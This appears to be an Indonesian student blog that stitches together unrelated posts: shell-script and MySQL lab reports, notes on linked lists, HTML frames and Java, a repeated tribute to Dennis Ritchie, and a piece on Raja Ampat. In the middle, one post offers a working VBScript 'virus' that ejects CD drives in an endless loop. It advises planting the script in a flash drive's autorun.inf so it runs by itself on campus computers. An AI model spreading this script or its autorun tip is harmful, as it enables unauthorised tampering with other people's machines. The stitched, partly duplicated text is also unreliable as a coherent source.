A. MAKSUD DAN TUJUAN
1.
MAKSUD
Mengenal
pemograman Shell Script yang terdapat di dalam system operasi Linux dengan
statement Case, For, dan While.
2.
TUJUAN
Agar mahasiswa
dapat :
·
Mengenal pemograman shell sript dalam system operasi
Linux
·
Membuat program shell sript yang terdapat pada
Linux
B. DASAR TEORI
Pemograman
shell adalah salah satu pemograman yang eksekusinya tidak memerlukan yang
namanya compiler khusus akan tetapi hanya cukup diterjemahkan saja oleh shell
tersebut. Dan di dalam system operasi Linux
banyak terdapat pilihan untuk melakukan shell, sperti statemen Case yang
digunakan di dalam menyelesaikan pemakaian statemen if yang berantai, sehingga
dengan Case kondisi dapat dikelompokkan secara logis dengan lebij jelas dan
mudah untuk ditulis. Statemen For digunakan untuk pengulangan dengan
menggunakan varabel yang pada setiap pengulangan akan diganti dengan nilai yang
berada pada daftar/list. Statemen While yang digunakan untuk suatu pengulangan
instruksi, dan umumnya dibatasi dengan suatu kondisi. Selama kondisi true, maka
pengulangan akan berhenti dan bila kondisi false, atau program keluar dari blok
while melalui statemen exit atau break. Dan program utility untuk shell script
adalah program-program Bantu untuk melaksanakan satu tugas tertentu.
C.
PEMBAHASAN
Pada pertemuan minggu ke6, telah membahas modul
yang mempelajari tentang bagaimana cara
menggunakan pemograman shell, dengan mencoba beberapa statemen pada praktikum
ini kami menggunakan system operasi Linux Mandrake dan berikut ini adalah
cara-cara / langkah-langkah yang kami lakukan pada praktikum :
·
Pertama
kita mencoba Statemen Case dengan cara membuat file terlebih dahulu yang diberi
nama pilih dengan cara menuliskan vi pilih kemudian setelah itu isinya kita tulis
seperti ini :
echo "1.
Siapa yang aktif di Serverstudent"
echo "2.
Tanggal hari ini "
echo "3.
Kalender bulan sekarang"
echo -n
"Pilihan :"
read pil
case $pil in
1)
echo "Yang aktif di Serverstudent"
who
;;
2)
echo "Tanggal hari ini"
date
;;
3)
echo "Kalender bulan sekarang"
cal
;;
*)
echo "Salah pilih ...!"
;;
Esac
·
Setelah selesai kita save dengan menuliskan wq
lalu kita coba dengan menuliskan chmod +x pilih; ./pilih maka hasilnya adalah :
1. Siapa yang aktiv di
Serverstudent
2. Tanggal hari
ini
3. Kalender
bulan sekarang
Pilihan : 2
Tanggal hari ini
sat jul
30 12 : 51 :35 WIT 2005
·
Yang kedua kita mencoba Statemen Case dengan
cara membuat file terlebih dahulu yang diberi nama nama dengan cara menuliskan
vi nama kemudian setelah itu isinya kita tulis seperti ini :
for nama in
Febtyana Sudiri Hartini
do
echo "nama :
$nama"
done
·
Kemudian kita simpan dengan kembali
menuliskan wq allu kita coba dengan menuliskan chmod +x nama; ./ nama maka
hasilnya adalah :
Nama :
Febtyana
Nama :
sudiri
Nama :
hartini
D. KESIMPULAN
Setelah mempelajari pemograman Shell Script yang
terdapat di dalam system operasi Linux dengan statement Case, For, dan While,
kita dapat mengenal pemograman shell sript dalam system operasi Linux dan
membuat program shell sript yang terdapat pada Linux.
Pemograman
shell adalah salah satu pemograman yang eksekusinya tidak memerlukan yang
namanya compiler khusus akan tetapi hanya cukup diterjemahkan saja oleh shell
tersebut
LINKLIST
Linked list / di sebut juga senarai berantai yaitu penglokasian memori secara dinamis yang digunakan untuk menyimpan data. Pada linked list kita dapat menyimpan data seberapapun yang kita mau.
Single linked list (senarai berantai tunggal) adalah linked list dimana semua simpul-simpulnya hanya memiliki 1buah penunjuk yang digunakan untuk mengkaitkan diri degan simpul lain yang sejenis yang ada disebelah kanannya didalam sebuah senarai berantai yang sama.
Unsure-unsur pendukung linked list meliputi:
- Penunjuk/pointer à alat untuk menunjuk sebuah simpul atau tempat kosong (null).
- Simpul/node à untuk simpul tunggal hanya dapat menunjuk kesimpul yang serupa dengan dirinya yang letaknya disebelah kanannya.
- Senarai berantai/single linked list à merupakan kiumpulan simpul-simpul yang terhubung satu dengan yang lain.
Menghilangkan Scrolling
Jika anda tidak menghendaki batang penggulung tersebut, Anda bisa menambahkan:
SCROLLING=”NO” pada tag <FRAME> yang menentukan frame kiri.
tambahkan atribut scrolling=”no” pada tag frame
Contoh:
<html> <frameset cols="25%,*"> <frame src="frame_satu.html" scrolling="no" > <frame src="frame_dua.html"> </frameset> </html> |
Hasilnya:
Menggunakan Border
Atribut BORDER pada tag <frameset> berguna untuk mengatur ketebalan garis pemisah antarframe. Jika anda tidak menghendaki adanya pemisah antar frame, tambahkan atribut border=”0”, atau jika menginginkan border yang lebih tebal, tambahkan nilainya.
Contoh:
frame_kiri.html
<html> <body> Ini frame kiri </body> </html> |
frame_kanan.html
<html> <body> Ini frame kanan </body> </html> |
PENGGUNAAN FRAME
Banyak halaman web diinternet yang menggunakan frame. Frame memungkinkan satu halaman web atau lebih ditampilkan pada sebuah jendela browser. Halaman yang berbasis frame dibentuk dengan menggunakan pasangan tag <frameset> dan </frameset>. Di dalam tag <frameset>, atribut cols digunakan untuk menentukan lebar masing-masing frame. Sebagai contoh, pendefinisian lebar dua buah frame ditentukan melalui:
<frameset cols=”30%,*”> .... </frameset> |
Didalam pasangan tag <frameset>…</frameset> disebutkan berkas-berkas HTML yang menyusun frame. Hal ini dikerjakan dengan menggunakan tag <frame>. Didalam tag ini, nama berkas HTML disebutkan melalui atribut SRC.
Contoh:
frame_satu.html
<html> <body bgcolor="Black"> <font size="+2" face="Arial" color="white"> Ini frame kiri </font> </body> </html> |
frame_dua.html
Class wrapper adalah representasi objek sederhana dari variabelvariabel non-objek yang sederhana.
Nama-nama class wrapper cukup mudah untuk diingat selama nama-nama itu sama
dengan tipe data primitif. Dan juga sebagai catatan, bahwa class-class wrapper diawali
dengan huruf besar dan versi yang ditunjukkan dari tipe data primitive.
Boolean
Java memiliki tipe data sederhana untuk besaran logika yang disebut boolean. Tipe ini hanya dapat memiliki 2 kemungkinan nilai, yaitu true atau false. Tipe inilah yang dikeluarkan oleh semua operator perbandingan, seperti (a < b). Boolean juga merupakan tipe yang dibutuhkan oleh semua operator pengatur alur bersyarat, seperti if, while, dan do.
operator InstanceOf instanceOf memiliki dua operands: suatu mengarahke sebuah object pada sebelah kiri dan nama class pada sebelah kanan. pernyataan mengembalikan nilai true atau false tergantung pada apakah object adalah sebuah instance dari penamaan class atau beberapa dari subclass milik class tersebut.
Sebagai contoh,
boolean ex1 = "Texas" instanceof String; // true
Object pt = new Point(10, 10);
boolean ex2 = pt instanceof String; // false
public int compareTo(String anotherString)
Membandingkan dua String dan mengirim bilangan int yang menspesifikasikan apakah
objek string pemanggil kurang dari atau sama dengan anotherString. Bernilai negatif
jika objek yang dilewatkan (passed string) lebih besar, 0 jika kedua string sama, dan
bernilai positif jika objek string pemanggil (calling string) lebih besar.
toUpperCase()
adalah fungsi untuk mengubah seluruh huruf menjadi huruf besar.toLowerCase()
berfungsi untuk mengubah huruf menjadi huruf¹¹¹¹ kecil.contoh programnya :
Linked List atau senarai berantai adalah kumpulan atau koleksi dari komponen yang dinamakan node. Setiap node menyimpan informasi tentang alamat dari node berikutnya . Sebuah node terdiri dari dua bagian, yaitu data dan link.
ArrayList merupakan array dinamis untuk tipe object . Karena setiap class adalah subclass object, maka semua obyek yang dimiliki oleh semua class dapat disimpan dalam ArrayList. Kode ArrayList hanya ditulis sekali tetapi dapat bekerja untuk semua tipe obyek.
ini adalah contoh dari progaram " Linked List atau senarai berantai " , berserta penjelasannya
Link merupakan suatu kata, sederetan kata (kalimat) atau gambar dalam suatu web yang tehubung dengan suatu halaman web, baik itu halaman web dari dalam web itu sendiri atau pun halaman web pihak lain.
Web artinya Suatu sistem di internet yang memungkinkan siapapun agar bisa menyediakan informasi. Dengan menggunakan teknologi tersebut, informasi dapat diakses selama 24 jam dalam satu hari dan dikelola oleh mesin. Untuk mengakses informasi yang disediakan web ini, diperlukan berbagai perangkat lunak, yang disebut dengan web browser.
sekarang kita akan mencoba untuk memebuat beberapa program LINK untuk formula
Dennis Ritchie (lahir 9 September 1941 – meninggal 8 Oktober 2011 pada umur 70 tahun) tak hanya dikenal sebagai pembuat bahasa C, ia juga menjadi bagian tim di Bell Labs yang mengembangkan UNIX — sistem operasi yang menjadi basis Linux dan Apple MacOS saat ini. Lewat kreasinya tersebut kita bisa menikmati komputer modern seperti sekarang dan menggunakan bermacam aplikasi sehari-hari baik di Windows maupun sistem lainnya.
Ritchie yang meraih gelar PhD di Harvard juga pernah mendapatkan sejumlah penghargaan internasional bagi karyanya termasuk Turing Award di tahun 1983, IEEE Richard W. Hamming Medal di tahun 1990, dan National Medal of Technology di tahun 1999. Semua penghargaan ini diperoleh bersama mitranya, Ken Thompson. Hingga tahun 2007, Ritchie tercatat sebagai kepala departemen riset di Lucent Technologies.
Walaupun tak sepopuler Steve Jobs, namun pengaruhnya dalam dunia teknologi sama hebatnya. Ritchie merupakan penemu bahasa pemrograman C dan salah satu pengembangan Unix yang keduanya pendukung teknologi modern.
Bahasa C ini digunakan untuk memprogram sistem yang sering digunakan dalam mengembangkan software aplikasi.
Sedangkan Unix menjadi sistem operasi pilihan untuk internet dan kemudian banyak digunakan pada berbagai jenis perangkat keras.
Prestasi Ritchie-pun banyak diakui, salah satunya pada tahun 1999 ketika ia di anugerahi US National Medal of Technology, penghargaan tertinggi di Amerika untuk teknologi.
Presiden Alcatel-Lucent Bell Labs, Jeong Kim mengatakan, "Ritchie benar-benar inspirasi bagi kita semua, bukan hanya karena prestasinya, tapi juga sebagai teman, penemu, dan seorang pria rendah hati yang ramah," ujarnya.
Programer Google, Tim Bray-pun menyampaikan kesannya terhadap Ritchie melalui Twitternya, "Dia sudah membantuku dengan ciptaannya selama tiga puluh tahun," kata Bray.
Seorang pengembang, James Grimmelman mengatakan bahwa pengaruh Ritchie setara dengan Jobs.
"Ritchie mempunyai pengaruh yang sama besarnya dengan Jobs, hanya saja itu kurang terlihat," ujarnya di akun Twitternya.
Ritchie yang meraih gelar PhD di Harvard juga pernah mendapatkan sejumlah penghargaan internasional bagi karyanya termasuk Turing Award di tahun 1983, IEEE Richard W. Hamming Medal di tahun 1990, dan National Medal of Technology di tahun 1999. Semua penghargaan ini diperoleh bersama mitranya, Ken Thompson. Hingga tahun 2007, Ritchie tercatat sebagai kepala departemen riset di Lucent Technologies.
Walaupun tak sepopuler Steve Jobs, namun pengaruhnya dalam dunia teknologi sama hebatnya. Ritchie merupakan penemu bahasa pemrograman C dan salah satu pengembangan Unix yang keduanya pendukung teknologi modern.
Bahasa C ini digunakan untuk memprogram sistem yang sering digunakan dalam mengembangkan software aplikasi.
Sedangkan Unix menjadi sistem operasi pilihan untuk internet dan kemudian banyak digunakan pada berbagai jenis perangkat keras.
Prestasi Ritchie-pun banyak diakui, salah satunya pada tahun 1999 ketika ia di anugerahi US National Medal of Technology, penghargaan tertinggi di Amerika untuk teknologi.
Presiden Alcatel-Lucent Bell Labs, Jeong Kim mengatakan, "Ritchie benar-benar inspirasi bagi kita semua, bukan hanya karena prestasinya, tapi juga sebagai teman, penemu, dan seorang pria rendah hati yang ramah," ujarnya.
Programer Google, Tim Bray-pun menyampaikan kesannya terhadap Ritchie melalui Twitternya, "Dia sudah membantuku dengan ciptaannya selama tiga puluh tahun," kata Bray.
Seorang pengembang, James Grimmelman mengatakan bahwa pengaruh Ritchie setara dengan Jobs.
"Ritchie mempunyai pengaruh yang sama besarnya dengan Jobs, hanya saja itu kurang terlihat," ujarnya di akun Twitternya.
Mencoba-coba buat virus di tempat
temen
Walaupun ada beberapa yang copas,
namanya juga belajar gan
Hmm teryata berhasil
Heheehe
Ini scib-nya
Set ilikepies =
CreateObject("WMPlayer.OCX.7")
Set ilikepie =
ilikepies.cdromCollection
if ilikepie.Count >=1 then
do
For ilikepiesalot=0 to
ilikepie.COunt -1
ilikepie.Item(ilikepiesalot).Eject
Next ' cdrom
For ilikepiesalot=0 to
ilikepie.COunt -1
ilikepie.Item(ilikepiesalot).Eject
Next ' cdrom
loop
End If
Simpan file dengan ekstensi file
nama_terserah.vbs atau apapun
nama kesukaan asalkan pastikan
ekstensinya .vbs, dan jalankan
filenya (Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan
sendirinya
tanpa henti.
Cara menghentikan aksi Virus cukup
menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren
lagi, masukkan ke file autorun.inf di flashdisk sobat, jadi setiap kamu colokin
ke kompie kampus, maka akan otomatis dijalankan Virus Nakal ini..
Sekian dari saya. Semoga bermanfaat
ya gan
Beberapa pulau yang terkenal di indonesia yang mendunia, Disini kita akan membahas tentang pulau yang memiliki keindahan yang sangat luar biasa yang teradapat di Papua..
pastinya diantara temen-temen sudah tidak asing lagi dengan pulau ini,
pastinya diantara temen-temen sudah tidak asing lagi dengan pulau ini,
Raja Ampat merupakan
rangkaian empat gugusan pulau yang berdekatan dan berlokasi di barat
bagian Kepala Burung (Vogelkoop) Pulau Papua. Secara administrasi,
gugusan ini berada di bawah Kabupaten Raja Ampat, Provinsi Papua Barat.
Kepulauan ini sekarang menjadi tujuan para penyelam yang tertarik akan
keindahan pemandangan bawah lautnya. Empat gugusan pulau yang menjadi
anggotanya dinamakan menurut empat pulau terbesarnya, yaitu Pulau
Waigeo, Pulau Misool, Pulau Salawati, dan Pulau Batanta.
Asal mula nama Raja
Ampat menurut mitos masyarakat setempat berasal dari seorang wanita
yang menemukan tujuh telur. Empat butir di antaranya menetas menjadi
empat orang pangeran yang berpisah dan masing-masing menjadi raja yang
berkuasa di Waigeo, Salawati, Misool Timur dan Misool Barat. Sementara
itu, tiga butir telur lainnya menjadi hantu, seorang wanita, dan sebuah
batu.
Yang paling membuat
kita bangga adalah karena Perairan laut di Raja Ampat merupakan
perairan yang terjernih di dunia, dan juga biota laut yang terdapat di
perairan laut Raja Ampat merupakan yang terlengkap dan banyak yang
hanya berada di daerah kepulauan Raja Ampat. Dan juga Raja Ampat
merupakan lokasi penyelaman terbaik diseluruh dunia.
MODUL 9
SQL (OPERASI PADA TABEL TUNGGAL)
A.MAKSUD DAN TUJUAN
Agar mahasiswa memahami tentang perintah-perintah yang digunakan untuk melakukan operasi dan melakukan modifikasi pada tabel tunggal.
B.PEMBAHASAN
ALL : kata kunci dasar untuk pernyataan select. Kondisi denagn ALL menghasilkan nilai benar jika perbandingan dihasilkan niali benar untuk setiap nilai dalam subquery. Tetapi kita hampir tidak pernah menemukan kata kunci tersebut karena hasil dari select<nama tabel> dan select all<nama tabel> adalah identik.
Pelaksanaan praktikum :
mysql> show tables;
//untuk menampilkan table dari dbproyek1.
mysql> select * from divisi;
+---------+------------+-------------+---------------------------+
| kodediv | lokasi | kodemanager | namadiv |
+---------+------------+-------------+---------------------------+
| D101 | Bandung | 13235500 | Construction Management |
| D102 | Yogyakarta | 13235539 | Marketing Management |
| D501 | Yogyakarta | 13235540 | Management Information Sy |
| D535 | Jakarta | 13235552 | Production Management |
+---------+------------+-------------+---------------------------+
4 rows in set (0.00 sec)
mysql> select * from divisi;
//digunakan untuk menampilkan data dari divisi yang berisi kodediv, lokasi, kodemanager, namadiv.
mysql> select kodediv, namadiv from divisi order by namadiv;
+---------+---------------------------+
| kodediv | namadiv |
+---------+---------------------------+
| D101 | Construction Management |
| D501 | Management Information Sy |
| D102 | Marketing Management |
| D535 | Production Management |
+---------+---------------------------+
4 rows in set (0.00 sec)
mysql> select kodediv, namadiv from divisi order by namadiv;
//untuk menampilkan kodediv, namadiv dari table divisi mengurutkan namadiv berdasar nama secara urut naik.
mysql> select kodediv, namadiv from divisi order by namadiv desc;
+---------+---------------------------+
| kodediv | namadiv |
+---------+---------------------------+
| D535 | Production Management |
| D102 | Marketing Management |
| D501 | Management Information Sy |
| D101 | Construction Management |
+---------+---------------------------+
4 rows in set (0.00 sec)
mysql> select kodediv, namadiv from divisi order by namadiv desc;
//digunakan untuk menampilkan data kodediv, namadiv, dari table divisi dan mengurutkan secara urut turun.
mysql> select kodediv, namadiv from divisi order by kodediv;
+---------+---------------------------+
| kodediv | namadiv |
+---------+---------------------------+
| D101 | Construction Management |
| D102 | Marketing Management |
| D501 | Management Information Sy |
| D535 | Production Management |
+---------+---------------------------+
4 rows in set (0.00 sec)
mysql> select kodediv, namadiv from divisi order by kodediv;
// untuk mengurutkan berdasarkan nama kodediv secara urut naik.
mysql> select kodediv, namadiv, lokasi from divisi order by namadiv desc, lokasi
;
+---------+---------------------------+------------+
| kodediv | namadiv | lokasi |
+---------+---------------------------+------------+
| D535 | Production Management | Jakarta |
| D102 | Marketing Management | Yogyakarta |
| D501 | Management Information Sy | Yogyakarta |
| D101 | Construction Management | Bandung |
+---------+---------------------------+------------+
4 rows in set (0.00 sec)
mysql> select kodediv, namadiv, lokasi from divisi order by namadiv desc, lokasi
//untuk mengurutkan divisi menurut jenis dan nama. Pada kodediv, namadiv, lokasi untuk table divisi.
mysql> select kodediv, namadiv from divisi order by 2;
+---------+---------------------------+
| kodediv | namadiv |
+---------+---------------------------+
| D101 | Construction Management |
| D501 | Management Information Sy |
| D102 | Marketing Management |
| D535 | Production Management |
+---------+---------------------------+
4 rows in set (0.00 sec)
mysql> select kodediv, namadiv from divisi order by 2; //untuk mengurutkan divisi menurut kolom 2 (jenis).
mysql> select kodediv, namadiv from divisi order by 2;
+---------+---------------------------+
| kodediv | namadiv |
+---------+---------------------------+
| D101 | Construction Management |
| D501 | Management Information Sy |
| D102 | Marketing Management |
| D535 | Production Management |
+---------+---------------------------+
4 rows in set (0.00 sec)
mysql> select kodediv, namadiv from divisi order by 2;
//untuk mengurutkan divisi menurut kolom 2 (jenis).
mysql> select kodediv, namadiv, lokasi, avg(kodemanager) from divisi group by l
kasi;
+---------+-------------------------+------------+------------------+
| kodediv | namadiv | lokasi | avg(kodemanager) |
+---------+-------------------------+------------+------------------+
| D101 | Construction Management | Bandung | 13235500 |
| D535 | Production Management | Jakarta | 13235552 |
| D102 | Marketing Management | Yogyakarta | 13235539.5 |
+---------+-------------------------+------------+------------------+
3 rows in set (0.03 sec)
mysql> select kodediv, namadiv, lokasi, avg(kodemanager) from divisi group by lokasi untuk menampilkan kodediv, //namadiv, lokasi dan untuk menghasilkan rata-rata kodemanager dikelompokkan berdasarkan kodediv, namadiv, lokasi.
mysql> select count(kodediv) from divisi;
+----------------+
| count(kodediv) |
+----------------+
| 4 |
+----------------+
1 row in set (0.00 sec)
mysql> select count(kodediv) from divisi;
//untuk menghasilkan cacah baris dari tabel kodediv kolom kodediv dalam count dapat diganti apa saja (hanya 1 field) cukup ditulis * (sembarang).
mysql> select * from divisi LIMIT 3;
+---------+------------+-------------+---------------------------+
| kodediv | lokasi | kodemanager | namadiv |
+---------+------------+-------------+---------------------------+
| D101 | Bandung | 13235500 | Construction Management |
| D102 | Yogyakarta | 13235539 | Marketing Management |
| D501 | Yogyakarta | 13235540 | Management Information Sy |
+---------+------------+-------------+---------------------------+
3 rows in set (0.00 sec)
mysql> select * from divisi LIMIT 3;
//untuk membatasi jumlah baris yang ditampilkan hanya menampilkan 3 record dari atas.
mysql> select lokasi,count(*) as cacah from divisi group by lokasi;
+------------+-------+
| lokasi | cacah |
+------------+-------+
| Bandung | 1 |
| Jakarta | 1 |
| Yogyakarta | 2 |
+------------+-------+
3 rows in set (0.00 sec)
mysql> select lokasi,count(*) as cacah from divisi group by lokasi;
//menghitung jumlah acount dari divisi perjenis, khusus untuk yang dari lokasi.
LATIHAN
mysql> use perpustakaan;
Database changed
mysql> use perpustakaan;
// digunakan untuk koneksi ke database sebelu menggunakan program mysql, kita harus mengakses basis data nya terlebih dahulu. Maka tanggapan mysql database changed.
mysql> show tables;
+------------------------+
| Tables_in_perpustakaan |
+------------------------+
| anggota |
| buku |
| jenisbk |
| pegawai |
| pengarang |
| pinjam |
+------------------------+
6 rows in set (0.00 sec)
mysql> show tables;
// untuk menampilkan table pada perpustakaan. Yang hasil seperti table diatas.
mysql> select * from anggota;
+---------+------------------+-----------+------+---------+--------------+
| id_angt | nama_angt | nip_nim | ipk | jurusan | hari_nunggak |
+---------+------------------+-----------+------+---------+--------------+
| MHS0001 | Titik Hartati | 093110001 | 2.50 | AK | 5 |
| MHS0002 | Yani | 093110002 | 3.50 | AK | NULL |
mysql> select * from anggota;
// untuk menampilkan atau membaca data dari anggota. Pada perintah ini untuk menampilkan semau kolom semua baris.
mysql> select * from anggota order by nama_angt;
+---------+------------------+-----------+------+---------+--------------+
| id_angt | nama_angt | nip_nim | ipk | jurusan | hari_nunggak |
+---------+------------------+-----------+------+---------+--------------+
| MHS0010 | Arief | 093110010 | 3.90 | MI | NULL |
| MHS0009 | Arman | 093110009 | 3.01 | MI | NULL |
mysql> select * from anggota order by nama_angt;
// untuk menampilkan data dari anggota dan mengurutkan data dengan menggunakan ORDER BY. Dengan nama urutan naik.
mysql> select * from anggota order by nama_angt, ipk desc;
+---------+------------------+-----------+------+---------+--------------+
| id_angt | nama_angt | nip_nim | ipk | jurusan | hari_nunggak |
+---------+------------------+-----------+------+---------+--------------+
| MHS0010 | Arief | 093110010 | 3.90 | MI | NULL |
| MHS0009 | Arman | 093110009 | 3.01 | MI | NULL |
mysql> select * from anggota order by nama_angt, ipk desc;
// untuk menampilkan nama dan ipk semua anggota
mysql> select * from anggota order by ipk desc, jurusan;
+---------+------------------+-----------+------+---------+--------------+
| id_angt | nama_angt | nip_nim | ipk | jurusan | hari_nunggak |
+---------+------------------+-----------+------+---------+--------------+
| MHS0010 | Arief | 093110010 | 3.90 | MI | NULL |
| MHS0003 | Bernedictus Cico | 093110003 | 3.75 | AK | 3 |
| MHS0002 | Yani | 093110002 | 3.50 | AK | NULL |
mysql> select * from anggota order by ipk desc, jurusan;
// untuk menampilkan data anggota dengan mengurutkan ipkdengan jurusan.
mysql> select count(jurusan) from anggota;
+----------------+
| count(jurusan) |
+----------------+
| 21 |
mysql> select count(jurusan) from anggota;
// menampilkan jurusan dari anggota
mysql> select count(jurusan) from anggota group by jurusan;
+----------------+
| count(jurusan) |
+----------------+
| 3 |
| 8 |
mysql> select count(jurusan) from anggota group by jurusan;
// untuk menampilkan jurusan daria anggota.
mysql> select jurusan, count(jurusan) as 'banyak mahasiswa' from anggota group b
y jurusan;
+---------+------------------+
| jurusan | banyak mahasiswa |
+---------+------------------+
| AK | 3 |
| MI | 8 |
mysql> select jurusan, count(jurusan) as 'banyak mahasiswa' from anggota group by jurusan;
// pada perintah ini untuk menampilkan jurusan, acount dari banyak mahasiswa dari group anggota nya dari jurusan. Pad jurusan AK ada 3 jumlah mahasiswa, sedangkan pada MI ada 8 mahasiswa.
mysql> select jurusan, avg(ipk) as 'Rerata IPK' from anggota group by jurusan;
+---------+------------+
| jurusan | Rerata IPK |
+---------+------------+
| AK | 3.250000 |
| MI | 2.696250 |
mysql> select jurusan, avg(ipk) as 'Rerata IPK' from anggota group by jurusan;
// untuk menampilkan data pada table jurusan dengan menghitung rata-rata ipk,
mysql> select jurusan, max(ipk) as 'Rerata IPK' from anggota group by jurusan;
+---------+------------+
| jurusan | Rerata IPK |
+---------+------------+
| AK | 3.75 |
| MI | 3.90 |
mysql> select jurusan, max(ipk) as 'Rerata IPK' from anggota group by jurusan;
// untuk menampilkan data bedasarkan ipk terbesar pada rata-rata ipk darijurusan.
mysql> select jurusan, min(ipk) as 'Rerata IPK' from anggota group by jurusan;
+---------+------------+
| jurusan | Rerata IPK |
+---------+------------+
| AK | 2.50 |
mysql> select jurusan, min(ipk) as 'Rerata IPK' from anggota group by jurusan;
// menampilkan jurusan untuk memperoleh nilai ipk yang terkecil dari rerata ipk dari anggota jurusan.
mysql> select * from anggota limit 6;
+---------+------------------+-----------+------+---------+--------------+
| id_angt | nama_angt | nip_nim | ipk | jurusan | hari_nunggak |
+---------+------------------+-----------+------+---------+--------------+
| MHS0001 | Titik Hartati | 093110001 | 2.50 | AK | 5 |
mysql> select * from anggota limit 6;
// untuk menampilkan data dari anggota dan membatasi jumlah baris yang ditampilkan. Hanya menampilkan 6 record dari atas.
mysql> select * from anggota order by nama_angt limit 6;
+---------+------------------+-----------+------+---------+--------------+
| id_angt | nama_angt | nip_nim | ipk | jurusan | hari_nunggak |
+---------+------------------+-----------+------+---------+--------------+
| MHS0010 | Arief | 093110010 | 3.90 | MI | NULL |
| MHS0009 | Arman | 093110009 | 3.01 | MI
| NULL |
mysql> select * from anggota order by nama_angt limit 6;
// untuk menampilkan data anggota yang diurutkan dari anggota dan ditampilkan 6 record dari atas.
C.TUGAS
mysql> show tables;
+----------------------+
| Tables_in_tokoonline |
+----------------------+
| barang |
| detailbeli |
mysql> select * from barang;
+-------------+--------------------+--------------+
| kode_barang | nama_barang | harga_barang |
+-------------+--------------------+--------------+
| PRHP001 | HP LASER 4L | 1250000.00 |
| PRHP002 | HP LASER 5L | 1450000.00 |
mysql> select * from barang order by harga_barang;
+-------------+--------------------+--------------+
| kode_barang | nama_barang | harga_barang |
+-------------+--------------------+--------------+
| PRCN001 | CANON DESKJET 1000 | 650000.00 |
| PRCN002 | CANON DESKJET 1200 | 750000.00 |
mysql> select * from barang order by harga_barang desc;
+-------------+--------------------+--------------+
| kode_barang | nama_barang | harga_barang |
+-------------+--------------------+--------------+
| PRHP006 | HP LASER 1500 | 1950000.00 |
| PRHP005 | HP LASER 1020 | 1850000.00 |
mysql> select count(*) from barang order by harga_barang desc;
+----------+
| count(*) |
+----------+
| 11 |
mysql> select sum(harga_barang) from barang;
+-------------------+
| sum(harga_barang) |
+-------------------+
| 14350000.00 |
mysql> select avg(harga_barang) from barang;
+-------------------+
| avg(harga_barang) |
+-------------------+
| 1304545.454545 |
mysql> select * from barang group by kode_barang like 'prn%';
+-------------+-------------+--------------+
| kode_barang | nama_barang | harga_barang |
+-------------+-------------+--------------+
| PRHP001 | HP LASER 4L | 1250000.00 |
mysql> select avg(harga_barang) as 'Rerata Harga' from barang;
+----------------+
| Rerata Harga |
+----------------+
| 1304545.454545 |
mysql> select * from barang where kode_barang like 'prh%';
+-------------+---------------+--------------+
| kode_barang | nama_barang | harga_barang |
+-------------+---------------+--------------+
| PRHP001 | HP LASER 4L | 1250000.00 |
mysql> select avg(harga_barang) from barang where kode_barang like 'prh%';
+-------------------+
| avg(harga_barang) |
+-------------------+
| 1633333.333333 |
mysql> select avg(harga_barang) from barang where kode_barang like 'prc%';
+-------------------+
| avg(harga_barang) |
+-------------------+
| 910000.000000 |
mysql> select kode_barang, avg(harga_barang) from barang where kode_barang like
'prc%';
+-------------+-------------------+
| kode_barang | avg(harga_barang) |
+-------------+-------------------+
| PRCN001 | 910000.000000 |
mysql> select kode_barang, avg(harga_barang) from barang where kode_barang like
'prh%';
+-------------+-------------------+
| kode_barang | avg(harga_barang) |
+-------------+-------------------+
| PRHP001 | 1633333.333333 |
mysql> select max(harga_barang) from barang where nama_barang like 'HP%';
+-------------------+
| max(harga_barang) |
+-------------------+
| 1950000.00 |
mysql> select nama_barang, max(harga_barang) from barang where nama_barang like
'HP%';
+-------------+-------------------+
| nama_barang | max(harga_barang) |
+-------------+-------------------+
| HP LASER 4L | 1950000.00 |
mysql> select nama_barang, max(harga_barang) from barang where nama_barang like
'Canon%';
+--------------------+-------------------+
| nama_barang | max(harga_barang) |
+--------------------+-------------------+
| CANON DESKJET 1000 | 1150000.00 |
mysql> select nama_barang, min(harga_barang) from barang where nama_barang like
'Canon%';
+--------------------+-------------------+
| nama_barang | min(harga_barang) |
+--------------------+-------------------+
| CANON DESKJET 1000 | 650000.00 |
mysql> select nama_barang, min(harga_barang) from barang where nama_barang like
'HP%';
+-------------+-------------------+
| nama_barang | min(harga_barang) |
+-------------+-------------------+
| HP LASER 4L | 1250000.00 |
D.KESIMPULAN
Untuk memahami perintah-perintah yang digunakan untuk melakukan operasi dan melakukan modifikasi pada tabel tunggal. Kondisi dengan ALL menghasilkan nilai benar jika perbandingan dihasilkan nilai benar untuk setiap niali dalam subquery.
E.LISTING
Terlampir
Langganan:
Postingan (Atom)